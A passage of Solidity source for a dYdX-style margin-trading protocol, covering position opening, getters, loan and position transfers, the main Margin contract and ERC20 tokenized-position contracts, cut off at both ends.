return;
}
address newContractAddr =
MarginCallDelegator(contractAddr).marginCallOnBehalfOf(
msg.sender,
positionId,
requiredDeposit
);
if (newContractAddr != contractAddr) {
marginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId,
requiredDeposit
);
}
}
function cancelMarginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
CancelMarginCallDelegator(contractAddr).cancelMarginCallOnBehalfOf(
msg.sender,
positionId
);
if (newContractAddr != contractAddr) {
cancelMarginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId
);
}
}
function parseLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[0],
heldToken: addresses[1],
payer: addresses[2],
owner: addresses[3],
taker: addresses[4],
positionOwner: addresses[5],
feeRecipient: addresses[6],
lenderFeeToken: addresses[7],
takerFeeToken: addresses[8],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: new bytes(0)
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[7] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
interestRate: values32[2],
lenderFee: values256[3],
takerFee: values256[4],
interestPeriod: values32[3]
});
return rates;
}
}
contract MarginAdmin is Ownable {
uint8 private constant OPERATION_STATE_OPERATIONAL = 0;
uint8 private constant OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY = 1;
uint8 private constant OPERATION_STATE_CLOSE_ONLY = 2;
uint8 private constant OPERATION_STATE_CLOSE_DIRECTLY_ONLY = 3;
uint8 private constant OPERATION_STATE_INVALID = 4;
event OperationStateChanged(
uint8 from,
uint8 to
);
uint8 public operationState;
constructor()
public
Ownable()
{
operationState = OPERATION_STATE_OPERATIONAL;
}
modifier onlyWhileOperational() {
require(
operationState == OPERATION_STATE_OPERATIONAL,
"MarginAdmin#onlyWhileOperational: Can only call while operational"
);
_;
}
modifier cancelLoanOfferingStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY,
"MarginAdmin#cancelLoanOfferingStateControl: Invalid operation state"
);
_;
}
modifier closePositionStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY
|| operationState == OPERATION_STATE_CLOSE_ONLY,
"MarginAdmin#closePositionStateControl: Invalid operation state"
);
_;
}
modifier closePositionDirectlyStateControl() {
_;
}
function setOperationState(
uint8 newState
)
external
onlyOwner
{
require(
newState < OPERATION_STATE_INVALID,
"MarginAdmin#setOperationState: newState is not a valid operation state"
);
if (newState != operationState) {
emit OperationStateChanged(
operationState,
newState
);
operationState = newState;
}
}
}
contract MarginEvents {
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
}
library OpenPositionImpl {
using SafeMath for uint256;
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openPositionImpl(
MarginState.State storage state,
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (bytes32)
{
BorrowShared.Tx memory transaction = parseOpenTx(
addresses,
values256,
values32,
depositInHeldToken,
signature
);
require(
!MarginCommon.positionHasExisted(state, transaction.positionId),
"OpenPositionImpl#openPositionImpl: positionId already exists"
);
doBorrowAndSell(state, transaction, orderData);
recordPositionOpened(
transaction
);
doStoreNewPosition(
state,
transaction
);
return transaction.positionId;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
BorrowShared.validateTxPreSell(state, transaction);
if (transaction.depositInHeldToken) {
BorrowShared.doDepositHeldToken(state, transaction);
} else {
BorrowShared.doDepositOwedToken(state, transaction);
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
MathHelpers.maxUint256()
);
BorrowShared.doPostSell(state, transaction);
}
function doStoreNewPosition(
MarginState.State storage state,
BorrowShared.Tx memory transaction
)
private
{
MarginCommon.storeNewPosition(
state,
transaction.positionId,
MarginCommon.Position({
owedToken: transaction.loanOffering.owedToken,
heldToken: transaction.loanOffering.heldToken,
lender: transaction.loanOffering.owner,
owner: transaction.owner,
principal: transaction.principal,
requiredDeposit: 0,
callTimeLimit: transaction.loanOffering.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: transaction.loanOffering.maxDuration,
interestRate: transaction.loanOffering.rates.interestRate,
interestPeriod: transaction.loanOffering.rates.interestPeriod
}),
transaction.loanOffering.payer
);
}
function recordPositionOpened(
BorrowShared.Tx transaction
)
private
{
emit PositionOpened(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
transaction.loanOffering.loanHash,
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.feeRecipient,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.depositInHeldToken
);
}
function parseOpenTx(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[9]),
owner: addresses[0],
principal: values256[7],
lenderAmount: values256[7],
loanOffering: parseLoanOffering(
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[10],
depositInHeldToken: depositInHeldToken,
depositAmount: values256[8],
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOffering(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[1],
heldToken: addresses[2],
payer: addresses[3],
owner: addresses[4],
taker: addresses[5],
positionOwner: addresses[6],
feeRecipient: addresses[7],
lenderFeeToken: addresses[8],
takerFeeToken: addresses[9],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[10] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: values32[2],
interestPeriod: values32[3]
});
return rates;
}
}
library OpenWithoutCounterpartyImpl {
struct Tx {
bytes32 positionId;
address positionOwner;
address owedToken;
address heldToken;
address loanOwner;
uint256 principal;
uint256 deposit;
uint32 callTimeLimit;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openWithoutCounterpartyImpl(
MarginState.State storage state,
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
public
returns (bytes32)
{
Tx memory openTx = parseTx(
addresses,
values256,
values32
);
validate(
state,
openTx
);
Vault(state.VAULT).transferToVault(
openTx.positionId,
openTx.heldToken,
msg.sender,
openTx.deposit
);
recordPositionOpened(
openTx
);
doStoreNewPosition(
state,
openTx
);
return openTx.positionId;
}
function doStoreNewPosition(
MarginState.State storage state,
Tx memory openTx
)
private
{
MarginCommon.storeNewPosition(
state,
openTx.positionId,
MarginCommon.Position({
owedToken: openTx.owedToken,
heldToken: openTx.heldToken,
lender: openTx.loanOwner,
owner: openTx.positionOwner,
principal: openTx.principal,
requiredDeposit: 0,
callTimeLimit: openTx.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: openTx.maxDuration,
interestRate: openTx.interestRate,
interestPeriod: openTx.interestPeriod
}),
msg.sender
);
}
function validate(
MarginState.State storage state,
Tx memory openTx
)
private
view
{
require(
!MarginCommon.positionHasExisted(state, openTx.positionId),
"openWithoutCounterpartyImpl#validate: positionId already exists"
);
require(
openTx.principal > 0,
"openWithoutCounterpartyImpl#validate: principal cannot be 0"
);
require(
openTx.owedToken != address(0),
"openWithoutCounterpartyImpl#validate: owedToken cannot be 0"
);
require(
openTx.owedToken != openTx.heldToken,
"openWithoutCounterpartyImpl#validate: owedToken cannot be equal to heldToken"
);
require(
openTx.positionOwner != address(0),
"openWithoutCounterpartyImpl#validate: positionOwner cannot be 0"
);
require(
openTx.loanOwner != address(0),
"openWithoutCounterpartyImpl#validate: loanOwner cannot be 0"
);
require(
openTx.maxDuration > 0,
"openWithoutCounterpartyImpl#validate: maxDuration cannot be 0"
);
require(
openTx.interestPeriod <= openTx.maxDuration,
"openWithoutCounterpartyImpl#validate: interestPeriod must be <= maxDuration"
);
}
function recordPositionOpened(
Tx memory openTx
)
private
{
emit PositionOpened(
openTx.positionId,
msg.sender,
msg.sender,
bytes32(0),
openTx.owedToken,
openTx.heldToken,
address(0),
openTx.principal,
0,
openTx.deposit,
openTx.interestRate,
openTx.callTimeLimit,
openTx.maxDuration,
true
);
}
function parseTx(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
private
view
returns (Tx memory)
{
Tx memory openTx = Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[2]),
positionOwner: addresses[0],
owedToken: addresses[1],
heldToken: addresses[2],
loanOwner: addresses[3],
principal: values256[0],
deposit: values256[1],
callTimeLimit: values32[0],
maxDuration: values32[1],
interestRate: values32[2],
interestPeriod: values32[3]
});
return openTx;
}
}
contract PositionGetters is MarginStorage {
using SafeMath for uint256;
function containsPosition(
bytes32 positionId
)
external
view
returns (bool)
{
return MarginCommon.containsPositionImpl(state, positionId);
}
function isPositionCalled(
bytes32 positionId
)
external
view
returns (bool)
{
return (state.positions[positionId].callTimestamp > 0);
}
function isPositionClosed(
bytes32 positionId
)
external
view
returns (bool)
{
return state.closedPositions[positionId];
}
function getTotalOwedTokenRepaidToLender(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.totalOwedTokenRepaidToLender[positionId];
}
function getPositionBalance(
bytes32 positionId
)
external
view
returns (uint256)
{
return MarginCommon.getPositionBalanceImpl(state, positionId);
}
function getTimeUntilInterestIncrease(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 effectiveTimeElapsed = MarginCommon.calculateEffectiveTimeElapsed(
position,
block.timestamp
);
uint256 absoluteTimeElapsed = block.timestamp.sub(position.startTimestamp);
if (absoluteTimeElapsed > effectiveTimeElapsed) {
return 0;
} else {
return effectiveTimeElapsed.add(1).sub(absoluteTimeElapsed);
}
}
function getPositionOwedAmount(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
return MarginCommon.calculateOwedAmount(
position,
position.principal,
block.timestamp
);
}
function getPositionOwedAmountAtTime(
bytes32 positionId,
uint256 principalToClose,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getPositionOwedAmountAtTime: Requested time before position started"
);
return MarginCommon.calculateOwedAmount(
position,
principalToClose,
timestamp
);
}
function getLenderAmountForIncreasePositionAtTime(
bytes32 positionId,
uint256 principalToAdd,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getLenderAmountForIncreasePositionAtTime: timestamp < position start"
);
return MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principalToAdd,
timestamp
);
}
function getPosition(
bytes32 positionId
)
external
view
returns (
address[4],
uint256[2],
uint32[6]
)
{
MarginCommon.Position storage position = state.positions[positionId];
return (
[
position.owedToken,
position.heldToken,
position.lender,
position.owner
],
[
position.principal,
position.requiredDeposit
],
[
position.callTimeLimit,
position.startTimestamp,
position.callTimestamp,
position.maxDuration,
position.interestRate,
position.interestPeriod
]
);
}
function getPositionLender(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].lender;
}
function getPositionOwner(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owner;
}
function getPositionHeldToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].heldToken;
}
function getPositionOwedToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owedToken;
}
function getPositionPrincipal(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].principal;
}
function getPositionInterestRate(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].interestRate;
}
function getPositionRequiredDeposit(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].requiredDeposit;
}
function getPositionStartTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].startTimestamp;
}
function getPositionCallTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimestamp;
}
function getPositionCallTimeLimit(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimeLimit;
}
function getPositionMaxDuration(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].maxDuration;
}
function getPositioninterestPeriod(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].interestPeriod;
}
}
library TransferImpl {
function transferLoanImpl(
MarginState.State storage state,
bytes32 positionId,
address newLender
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferLoanImpl: Position does not exist"
);
address originalLender = state.positions[positionId].lender;
require(
msg.sender == originalLender,
"TransferImpl#transferLoanImpl: Only lender can transfer ownership"
);
require(
newLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot transfer ownership to self"
);
address finalLender = TransferInternal.grantLoanOwnership(
positionId,
originalLender,
newLender);
require(
finalLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].lender = finalLender;
}
function transferPositionImpl(
MarginState.State storage state,
bytes32 positionId,
address newOwner
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferPositionImpl: Position does not exist"
);
address originalOwner = state.positions[positionId].owner;
require(
msg.sender == originalOwner,
"TransferImpl#transferPositionImpl: Only position owner can transfer ownership"
);
require(
newOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot transfer ownership to self"
);
address finalOwner = TransferInternal.grantPositionOwnership(
positionId,
originalOwner,
newOwner);
require(
finalOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].owner = finalOwner;
}
}
contract Margin is
ReentrancyGuard,
MarginStorage,
MarginEvents,
MarginAdmin,
LoanGetters,
PositionGetters
{
using SafeMath for uint256;
constructor(
address vault,
address proxy
)
public
MarginAdmin()
{
state = MarginState.State({
VAULT: vault,
TOKEN_PROXY: proxy
});
}
function openPosition(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenPositionImpl.openPositionImpl(
state,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function openWithoutCounterparty(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenWithoutCounterpartyImpl.openWithoutCounterpartyImpl(
state,
addresses,
values256,
values32
);
}
function increasePosition(
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increasePositionImpl(
state,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function increaseWithoutCounterparty(
bytes32 positionId,
uint256 principalToAdd
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increaseWithoutCounterpartyImpl(
state,
positionId,
principalToAdd
);
}
function closePosition(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes order
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
order
);
}
function closePositionDirectly(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionDirectlyStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
new bytes(0)
);
}
function closeWithoutCounterparty(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256)
{
return CloseWithoutCounterpartyImpl.closeWithoutCounterpartyImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient
);
}
function marginCall(
bytes32 positionId,
uint256 requiredDeposit
)
external
nonReentrant
{
LoanImpl.marginCallImpl(
state,
positionId,
requiredDeposit
);
}
function cancelMarginCall(
bytes32 positionId
)
external
onlyWhileOperational
nonReentrant
{
LoanImpl.cancelMarginCallImpl(state, positionId);
}
function forceRecoverCollateral(
bytes32 positionId,
address recipient
)
external
nonReentrant
returns (uint256)
{
return ForceRecoverCollateralImpl.forceRecoverCollateralImpl(
state,
positionId,
recipient
);
}
function depositCollateral(
bytes32 positionId,
uint256 depositAmount
)
external
onlyWhileOperational
nonReentrant
{
DepositCollateralImpl.depositCollateralImpl(
state,
positionId,
depositAmount
);
}
function cancelLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
external
cancelLoanOfferingStateControl
nonReentrant
returns (uint256)
{
return LoanImpl.cancelLoanOfferingImpl(
state,
addresses,
values256,
values32,
cancelAmount
);
}
function transferLoan(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferLoanImpl(
state,
positionId,
who);
}
function transferPosition(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferPositionImpl(
state,
positionId,
who);
}
function getVaultAddress()
external
view
returns (address)
{
return state.VAULT;
}
function getTokenProxyAddress()
external
view
returns (address)
{
return state.TOKEN_PROXY;
}
}
contract OnlyMargin {
address public DYDX_MARGIN;
constructor(
address margin
)
public
{
DYDX_MARGIN = margin;
}
modifier onlyMargin()
{
require(
msg.sender == DYDX_MARGIN,
"OnlyMargin#onlyMargin: Only Margin can call"
);
_;
}
}
interface PositionCustodian {
function getPositionDeedHolder(
bytes32 positionId
)
external
view
returns (address);
}
library MarginHelper {
function getPosition(
address DYDX_MARGIN,
bytes32 positionId
)
internal
view
returns (MarginCommon.Position memory)
{
(
address[4] memory addresses,
uint256[2] memory values256,
uint32[6] memory values32
) = Margin(DYDX_MARGIN).getPosition(positionId);
return MarginCommon.Position({
owedToken: addresses[0],
heldToken: addresses[1],
lender: addresses[2],
owner: addresses[3],
principal: values256[0],
requiredDeposit: values256[1],
callTimeLimit: values32[0],
startTimestamp: values32[1],
callTimestamp: values32[2],
maxDuration: values32[3],
interestRate: values32[4],
interestPeriod: values32[5]
});
}
}
contract ERC20Position is
ReentrancyGuard,
StandardToken,
OnlyMargin,
PositionOwner,
IncreasePositionDelegator,
ClosePositionDelegator,
PositionCustodian
{
using SafeMath for uint256;
enum State {
UNINITIALIZED,
OPEN,
CLOSED
}
event Initialized(
bytes32 positionId,
uint256 initialSupply
);
event ClosedByTrustedParty(
address closer,
uint256 tokenAmount,
address payoutRecipient
);
event CompletelyClosed();
event Withdraw(
address indexed redeemer,
uint256 tokensRedeemed,
uint256 heldTokenPayout
);
event Close(
address indexed redeemer,
uint256 closeAmount
);
address public INITIAL_TOKEN_HOLDER;
bytes32 public POSITION_ID;
mapping (address => bool) public TRUSTED_RECIPIENTS;
mapping (address => bool) public TRUSTED_WITHDRAWERS;
State public state;
address public heldToken;
bool public closedUsingTrustedRecipient;
modifier onlyPosition(bytes32 positionId) {
require(
POSITION_ID == positionId,
"ERC20Position#onlyPosition: Incorrect position"
);
_;
}
modifier onlyState(State specificState) {
require(
state == specificState,
"ERC20Position#onlyState: Incorrect State"
);
_;
}
constructor(
bytes32 positionId,
address margin,
address initialTokenHolder,
address[] trustedRecipients,
address[] trustedWithdrawers
)
public
OnlyMargin(margin)
{
POSITION_ID = positionId;
state = State.UNINITIALIZED;
INITIAL_TOKEN_HOLDER = initialTokenHolder;
closedUsingTrustedRecipient = false;
uint256 i;
for (i = 0; i < trustedRecipients.length; i++) {
TRUSTED_RECIPIENTS[trustedRecipients[i]] = true;
}
for (i = 0; i < trustedWithdrawers.length; i++) {
TRUSTED_WITHDRAWERS[trustedWithdrawers[i]] = true;
}
}
function receivePositionOwnership(
address ,
bytes32 positionId
)
external
onlyMargin
nonReentrant
onlyState(State.UNINITIALIZED)
onlyPosition(positionId)
returns (address)
{
MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, POSITION_ID);
assert(position.principal > 0);
state = State.OPEN;
heldToken = position.heldToken;
uint256 tokenAmount = getTokenAmountOnAdd(position.principal);
emit Initialized(POSITION_ID, tokenAmount);
mint(INITIAL_TOKEN_HOLDER, tokenAmount);
return address(this);
}
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
onlyMargin
nonReentrant
onlyState(State.OPEN)
onlyPosition(positionId)
returns (address)
{
require(
!Margin(DYDX_MARGIN).isPositionCalled(POSITION_ID),
"ERC20Position#increasePositionOnBehalfOf: Position is margin-called"
);
require(
!closedUsingTrustedRecipient,
"ERC20Position#increasePositionOnBehalfOf: Position closed using trusted recipient"
);
uint256 tokenAmount = getTokenAmountOnAdd(principalAdded);
mint(trader, tokenAmount);
return address(this);
}
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
onlyMargin
nonReentrant
onlyState(State.OPEN)
onlyPosition(positionId)
returns (address, uint256)
{
uint256 positionPrincipal = Margin(DYDX_MARGIN).getPositionPrincipal(positionId);
assert(requestedAmount <= positionPrincipal);
uint256 allowedAmount;
if (TRUSTED_RECIPIENTS[payoutRecipient]) {
allowedAmount = closeUsingTrustedRecipient(
closer,
payoutRecipient,
requestedAmount
);
} else {
allowedAmount = close(
closer,
requestedAmount,
positionPrincipal
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= requestedAmount);
if (allowedAmount == positionPrincipal) {
state = State.CLOSED;
emit CompletelyClosed();
}
return (address(this), allowedAmount);
}
function withdraw(
address onBehalfOf
)
external
nonReentrant
returns (uint256)
{
setStateClosedIfClosed();
require(
state == State.CLOSED,
"ERC20Position#withdraw: Position has not yet been closed"
);
if (msg.sender != onBehalfOf) {
require(
TRUSTED_WITHDRAWERS[msg.sender],
"ERC20Position#withdraw: Only trusted withdrawers can withdraw on behalf of others"
);
}
return withdrawImpl(msg.sender, onBehalfOf);
}
function decimals()
external
view
returns (uint8);
function symbol()
external
view
returns (string);
function getPositionDeedHolder(
bytes32 positionId
)
external
view
onlyPosition(positionId)
returns (address)
{
return address(this);
}
function closeUsingTrustedRecipient(
address closer,
address payoutRecipient,
uint256 requestedAmount
)
internal
returns (uint256)
{
assert(requestedAmount > 0);
if (!closedUsingTrustedRecipient) {
closedUsingTrustedRecipient = true;
}
emit ClosedByTrustedParty(closer, requestedAmount, payoutRecipient);
return requestedAmount;
}
function withdrawImpl(
address receiver,
address onBehalfOf
)
private
returns (uint256)
{
uint256 value = balanceOf(onBehalfOf);
if (value == 0) {
return 0;
}
uint256 heldTokenBalance = TokenInteract.balanceOf(heldToken, address(this));
uint256 heldTokenPayout = MathHelpers.getPartialAmount(
value,
totalSupply_,
heldTokenBalance
);
burn(onBehalfOf, value);
emit Withdraw(onBehalfOf, value, heldTokenPayout);
TokenInteract.transfer(heldToken, receiver, heldTokenPayout);
return heldTokenPayout;
}
function setStateClosedIfClosed(
)
private
{
if (state == State.OPEN && Margin(DYDX_MARGIN).isPositionClosed(POSITION_ID)) {
state = State.CLOSED;
emit CompletelyClosed();
}
}
function close(
address closer,
uint256 requestedAmount,
uint256 positionPrincipal
)
private
returns (uint256)
{
uint256 balance = balances[closer];
(
uint256 tokenAmount,
uint256 allowedCloseAmount
) = getCloseAmounts(
requestedAmount,
balance,
positionPrincipal
);
require(
tokenAmount > 0 && allowedCloseAmount > 0,
"ERC20Position#close: Cannot close 0 amount"
);
assert(allowedCloseAmount <= requestedAmount);
burn(closer, tokenAmount);
emit Close(closer, tokenAmount);
return allowedCloseAmount;
}
function burn(
address from,
uint256 amount
)
private
{
assert(from != address(0));
totalSupply_ = totalSupply_.sub(amount);
balances[from] = balances[from].sub(amount);
emit Transfer(from, address(0), amount);
}
function mint(
address to,
uint256 amount
)
private
{
assert(to != address(0));
totalSupply_ = totalSupply_.add(amount);
balances[to] = balances[to].add(amount);
emit Transfer(address(0), to, amount);
}
function getTokenAmountOnAdd(
uint256 principalAdded
)
internal
view
returns (uint256);
function getCloseAmounts(
uint256 requestedCloseAmount,
uint256 balance,
uint256 positionPrincipal
)
private
view
returns (
uint256 ,
uint256
);
}
contract ERC20CappedPosition is
ERC20Position,
Ownable
{
using SafeMath for uint256;
event TokenCapSet(
uint256 tokenCap
);
event TrustedCloserSet(
address closer,
bool allowed
);
mapping(address => bool) public TRUSTED_LATE_CLOSERS;
uint256 public tokenCap;
constructor(
address[] trustedLateClosers,
uint256 cap
)
public
Ownable()
{
for (uint256 i = 0; i < trustedLateClosers.length; i++) {
TRUSTED_LATE_CLOSERS[trustedLateClosers[i]] = true;
}
tokenCap = cap;
}
function setTokenCap(
uint256 newCap
)
external
onlyOwner
{
tokenCap = newCap;
emit TokenCapSet(newCap);
}
function setTrustedLateCloser(
address closer,
bool allowed
)
external
onlyOwner
{
TRUSTED_LATE_CLOSERS[closer] = allowed;
emit TrustedCloserSet(closer, allowed);
}
function closeUsingTrustedRecipient(
address closer,
address payoutRecipient,
uint256 requestedAmount
)
internal
returns (uint256)
{
MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, POSITION_ID);
bool afterEnd =
block.timestamp > uint256(position.startTimestamp).add(position.maxDuration);
bool afterCall =
position.callTimestamp > 0 &&
block.timestamp > uint256(position.callTimestamp).add(position.callTimeLimit);
if (afterCall || afterEnd) {
require (
TRUSTED_LATE_CLOSERS[closer],
"ERC20CappedPosition#closeUsingTrustedRecipient: closer not in TRUSTED_LATE_CLOSERS"
);
}
return super.closeUsingTrustedRecipient(closer, payoutRecipient, requestedAmount);
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
library StringHelpers {
function strcat(
bytes stringA,
bytes stringB
)
internal
pure
returns (bytes)
{
uint256 lengthA = stringA.length;
uint256 lengthB = stringB.length;
bytes memory result = new bytes(lengthA + lengthB);
uint256 i = 0;
for (i = 0; i < lengthA; i++) {
result[i] = stringA[i];
}
for (i = 0; i < lengthB; i++) {
